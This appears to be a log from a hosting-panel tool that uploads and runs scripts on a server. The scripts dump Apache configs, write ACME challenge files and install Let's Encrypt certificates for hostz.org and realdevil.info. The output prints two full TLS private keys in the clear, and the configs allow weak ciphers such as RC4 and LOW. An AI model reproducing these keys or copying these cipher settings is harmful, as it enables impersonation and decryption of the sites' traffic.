         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:00:41: 

PUT: /tmp/pkp513766

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:00:41: 

chmod 755 /tmp/pkp513766; /tmp/pkp513766; rm /tmp/pkp513766

2025-09-26 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf	1202

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-26 06:00:41: 

PUT: /tmp/pkp605054

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:00:41: 

chmod 755 /tmp/pkp605054; /tmp/pkp605054; rm /tmp/pkp605054

2025-09-26 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt	5349
44:b1:1c:ca:e7:f2:3c:63:29:71:41:d3:fd:9f:9a:33

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBfKOFCWWpxyCl18eOpTTlT+KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMjA5WhcNMjUxMjI1MDUwMjA4WjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcHX6a
xF65GUx5by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpn
wQDb8bjvh1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKp
FT/oHlBy3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S
7iI0oO8SWfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED
96iNr/Qp9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWl
yMQ7z2cUhguDLIrnAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLY0LGt+Db9o9IBvgSR5j351HFTfMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZhJwAwgAABAMARzBF
AiEAgCjiP0LEfpJY3jgNY9ZXnD4rO4dEnQriuHyc5BSJP1oCICN2SmskJ9TAMeTC
lRaKS5kFl2M45cYYFqJFmU2KU+KjAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxt
MAWE6+WGJjoAAAGZhJwAxQAABAMARzBFAiByskBe5/rsqYwEpZQ6s759EgiGGTOJ
4yarpR1W+TLnEAIhAK1Fk4Hr/sn3nmT23fZUbVXltJbW3/d6S0ZQDUyWyBLnMA0G
CSqGSIb3DQEBCwUAA4IBAQAuVnjW1WjXo1FdBDzHhPYAnwd6uc0HhBSZRrVLsFaI
n7wb5DfcSBtALPSL+ZCMzcFTl7EuHVyPORM3gqioBUpIx6SO3yVVYhzaBGMMB+y4
TMLWD5MeH8IKX2ZWV7f1GtXu/c+fP1modZMzXCNzLv+YaWIi/MVgXLCjOzy8pRAJ
0t9aXyp8pdjJV6tfVc4sSWH+vbmBcpplhZQlSwUp7FGgDIuFbHzOSOKa5Svacjkt
WWS563jYsF9SvCQqjdEFRkvLL3R46Jd8LaBmaTHIE8ZLE/Wc/hrW3PGBx4B1sek6
Lv7rbNPZ83kFR98yss+kbkfzxO4f1rVw5qu7GzbnMNkl
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcHX6axF65GUx5
by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpnwQDb8bjv
h1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKpFT/oHlBy
3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S7iI0oO8S
WfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED96iNr/Qp
9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWlyMQ7z2cU
hguDLIrnAgMBAAECggEAPF/6sgja0nqV91j/lCXj2GGbH4q2sQeGnEKTkiYOgeBI
xD4z19ONoc9FhG9Btc7agj46m2rdCXcr+sdsDjmdJX9pKWf2doC0HB2CxT3x0Fgi
Ojt3PyQ44GW2GGLi4PA4WrDPbYFenhRyjI952pdK1r53yTnAjxAaBg6tUDP1K1qd
hofd43JzWWSs91PmAcGLwSccEz5ksJmD4NfSrIf+VJIwi6xr8/m8il23rdYbXCai
Cuave4X8SmXsXrbEKvRJwe/06Qx5Iex59G54nnl4NEdw2YSKSY0rV5yQgHgfZBmi
1baRpNA0RH69iagnoNfArYWFAgecTDYoJuE9mnkZwQKBgQDznUn2epq6ZVdDAZVf
yQj3WjbPDv7JfjYp1Duvx0FWnmpfdcKq5Akdyc+ZDSXBRfI7vBoqth4ueP1lx10x
li+DFAzTprXgUtSp/TmU8pFacvDOptdUny+DlpIBJb63mORHFzked/EYOZ7Ejegc
sIpL3G86GBjj4VGoO8RWxuB46wKBgQDnTltcYYqqA3RXDTqd4bIKH4tEdvgBkhlc
ZM05JgCQt1Ex52hgHX8uYdiI0isUTzZVR+vqSHXkqogRWD9TzveOcBvPHaocVTVa
VwFwSnYIXVbugkjCwZb/N4H1K2Ck/vCzbG2P7bkvbzsbgNBSTaWu5BeqAB7eImcg
EihK9LX29QKBgAE77r/85wPCt6pzO5p8njsCjfyGiuviY8vac2L0k3Qo4UkSg6Xx
+cnY1+BinKpZ/FwpG8jTm1uI6V+2ntY9eIglddssoQc95C3oRn5mrC3VHzssxTJ8
i/USsjKnSkwLzjw99eAdo28H+7HrNh3PFyRDPZ0Buj6NSaichOYbo895AoGBAKcE
o1+PZyrgF6+L89lw0LgSkuM67FVmAz3941nyoNHeLJjWOT29zsnVCR+ycjzV/auS
pTykWcxlfp7Xk9KWTZbiSJJDH0QaGs5CqN1GRvg/Pbg3Bwbp9ngOwp4fVkeNdox4
LJyS0Pb5YDq5xrLHMm2YcaXlNGS9fq1frwyAqqvJAoGAR2qT6QXlpZuffjvea0LP
rf+DKoa3wLK6h5g9V/lqmP7PHGC9avC/i69MWU+juvOK/ZlsJ5Aj3l1ufZPphJHW
zOdTpKJiIk4r9jwE6ehxSFceGl7K6zxfknO0Arn1/jgqf8PtWVXhY80aduq8OcCo
c9lRrtm7yi4fVOgpvt/Re4U=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:42: Establishing a connection
2025-09-26 06:00:42: 

PUT: /tmp/pkp207854

#!/bin/bash
if [ -d "/var/www/realdevil_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:00:48: 

chmod 755 /tmp/pkp207854; /tmp/pkp207854; rm /tmp/pkp207854

2025-09-26 06:00:48: 


1


2025-09-26 06:00:48: Establishing a connection
2025-09-26 06:00:49: 

PUT: /tmp/pkp754519

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
cat > fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ
cat > 0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44


2025-09-26 06:00:49: 

chmod 755 /tmp/pkp754519; /tmp/pkp754519; rm /tmp/pkp754519

2025-09-26 06:00:49: 




2025-09-26 06:00:59: Establishing a connection
2025-09-26 06:01:00: 

PUT: /tmp/pkp966354

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
rm fOGQG34lWuIjTMt-P91vq-9JJpy2eTelwUBkcMFTAdQ
rm 0OYoqHWJEXon3WX74MaWFs9UQSQxJJ9v-VP1RhRNS44


2025-09-26 06:01:00: 

chmod 755 /tmp/pkp966354; /tmp/pkp966354; rm /tmp/pkp966354

2025-09-26 06:01:00: 




2025-09-26 06:01:00: Establishing a connection
2025-09-26 06:01:00: 

PUT: /tmp/pkp270008

#!/bin/bash
temp_file=$(mktemp)
TARGET=2a6ddbe9e3dc02179c0a0d6b1925eaef.pem

cat > $temp_file <<'endmsg'
05:47:74:9c:fb:98:c0:a7:eb:8e:42:28:2e:3f:38:53

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBVCz36h0yxJ2gqUdapLE4MC8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjI2WhcNMjUxMjI1MDUwMjI1WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL+BU+ANxka4aH/B71Cs90axU9bbCurf81hsfLgXu9mOvZ2z632C4n5q6n+NbsrP
rGM6hK8q6WWxbTKSejf6PmiskHKMP0/JZC+Xea0Abx0nH0luEmBl6BBvzbFx+Qhv
rYO3nU5cbS0T+cs7/U8D0iL96veaFjf4i1fZG6lUMxgwHTmZpFORyWBNsyDaQjGU
ecAuq0n0LdrZpZlOV4WhhlroY5mYI+VAWf15x/W+dIinCxsOcvxnKDnHreswasT2
eg9TOG+HNAElT/gXUaSANOi8YEe0jGsg/+AOAMFMruyRzDgoVjwHelpLhClTHNx4
wSdAc8y45l6zdHfvfogD+QUCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUonxjk8ReNrLO5KImyKMQ47RemDowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjEuY3JsMIIBAgYKKwYBBAHW
eQIEAgSB8wSB8ADuAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZhJxCmgAABAMARjBEAiAv2Lb6c6zmK3LNFR59lqMa5BynmTH3KEE4UvPwtc2V
WQIgRReZoMdxwzb7h7y6voqXKmZoLXefcKFx8vbDlQvZvksAdQAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmEnEpsAAAEAwBGMEQCID/AHgGm4AGM
J+BK8vbZMFDvNk4yedwWdfJDAdggFgbLAiA4FYmy1TDr6OvBLNcnAtGb0m9MXlYd
DIcrrmKToVZ4jTANBgkqhkiG9w0BAQsFAAOCAQEAEbJgxxqiKIO3ZipjwEFSuRZN
AfHL/vEOIFMI5+GrszXiI6ZSbC5dN+fX74dfcE/+PzdkD06KpBCbtuGXYLp3kTIB
6z7T1AMkFTjrb09VjiI1tHUFQWtMAtHBH/h3SqYTRTtfLWrekenuUjgyAWpPY0AH
ZxtwWjN84bApFelhywhf+bdq3yVSYKCCMuC79nfF/++l8GXJvCZJ1A1qldJrzvL8
dD+NsySkX+ZBEwdH2KKr5/pq/zFhKPXk/4WWz4g4MVDqjVR/ePKlWkGctWYYeOmU
eNfmZy179gAMWRzgKuCU8qn0Mz6IT/qHd0tu2Hst+sf6uZoO4VbQkkWxHEe0pA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/gVPgDcZGuGh/
we9QrPdGsVPW2wrq3/NYbHy4F7vZjr2ds+t9guJ+aup/jW7Kz6xjOoSvKullsW0y
kno3+j5orJByjD9PyWQvl3mtAG8dJx9JbhJgZegQb82xcfkIb62Dt51OXG0tE/nL
O/1PA9Ii/er3mhY3+ItX2RupVDMYMB05maRTkclgTbMg2kIxlHnALqtJ9C3a2aWZ
TleFoYZa6GOZmCPlQFn9ecf1vnSIpwsbDnL8Zyg5x63rMGrE9noPUzhvhzQBJU/4
F1GkgDTovGBHtIxrIP/gDgDBTK7skcw4KFY8B3paS4QpUxzceMEnQHPMuOZes3R3
736IA/kFAgMBAAECggEAN4pLiByWl6Yd8IePX6d6Y89EEHkglnPzAH8eQMnpWjRy
u80VjCYsiBt7/RhIvJs0VOcA2kioviySDeu7dIaoGPWLQx13sy0mWEMnL8yDbUIO
ad55h+mmPzYdwsvaPN8exKe5AKP/qeY0OQQh+AuUoz9fKQZQUVVNHGJECnz4AJha
9i3VmUb+CEIKTjE0JqKWA2pC1b5lVQAx8fJ1tLDmtNsxMlJPyJCAxX8GrMzPuQoF
cJps5QRINL1WCO+5/oHldBn1P68DpzzdZiLp1b8FUuhOkdMdU4UVQNVO7ai1rgAL
CxZJg4k/CNhpdEAeoNXXPCYZxFH3ylVRQYvch2cMVQKBgQDtD/1Pgf30mrZpM6m3
Xj3wXnh54hqtO3u/w3edkqo6r/buNl+EWzBu1JsDcardFjhG54zFkXpfu+w9JXLe
++wL+N51WpxnvnxMNctQc03D3k9ozfspkG00Kz0cFlowm3IjB61htsO67s1QkNwH
5s0zQijyFKFsdAwgoe1Ze9kigwKBgQDOza0JGJOciVudYCbaiR2OItl21jx0w8QB
QXY9uZumJ2VDDEz5GDGZbnPL92qGcCIKyEiry6Q18CwieZ5QIRLjj9uM9KtlZXhK
LGY3FcpGBciuqWvRV9kiUyWPkqQdR1XtAKzjmzHoT0iQp8/QwTCOlPmwJ1HqYFr3
IfGF9wN/1wKBgQCZ8whN2d1SPCa5qxNMQad3seILRQqN9VMn9Yh4jAaAlkWF7Uma
ap3JW8hPNEIB0aw6X6TLqO4Pvbps+yTeKjvgin3tOCraNJoD4+tlE3ws9vIa3al+
FIzWlD3bP6jSaCB3H0U5b7csbmhnKau6dehMoWp1y3AJPlOh3YaF1ifsgQKBgQCz
vd30NvEtL9F50jVS4bPXcwCxofi/v9rfAIeFlIns+vavNMS+B8IsSezJTYy/tjxQ
RM2sy305CDtD55KqsGRbdxBqzckegvfu9/ILVJwPCj3nWQeF1yW5CK1vwRN1Ayhy
qpCZ7qyM7kPyvngIR7Eta9wst7Ah1oeZnl3ugsf+1wKBgCs+PGYUHwkFhbOOq6GF
WvB3ExE/tI+F9gy4DUZlP6YMBn0xyKSd/NlTK38YBVNXkFA2g9WHwghjmn7yY7Fe
RK/MlDUbwNzPXUKS0Ezk/SiBpPIbVrantuMwUpaajoApE1JYAsvvMDlEIyVwTwGS
po8+OCTJvsYsYyBFHLGfLGB1
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:01:00: 

chmod 755 /tmp/pkp270008; /tmp/pkp270008; rm /tmp/pkp270008

2025-09-26 06:01:00: 


dir=/etc/ssl/certs


2025-09-26 06:01:00: 

PUT: /tmp/pkp331461

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realdevil_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:01:00: 

chmod 755 /tmp/pkp331461; /tmp/pkp331461; rm /tmp/pkp331461

2025-09-26 06:01:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 42

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
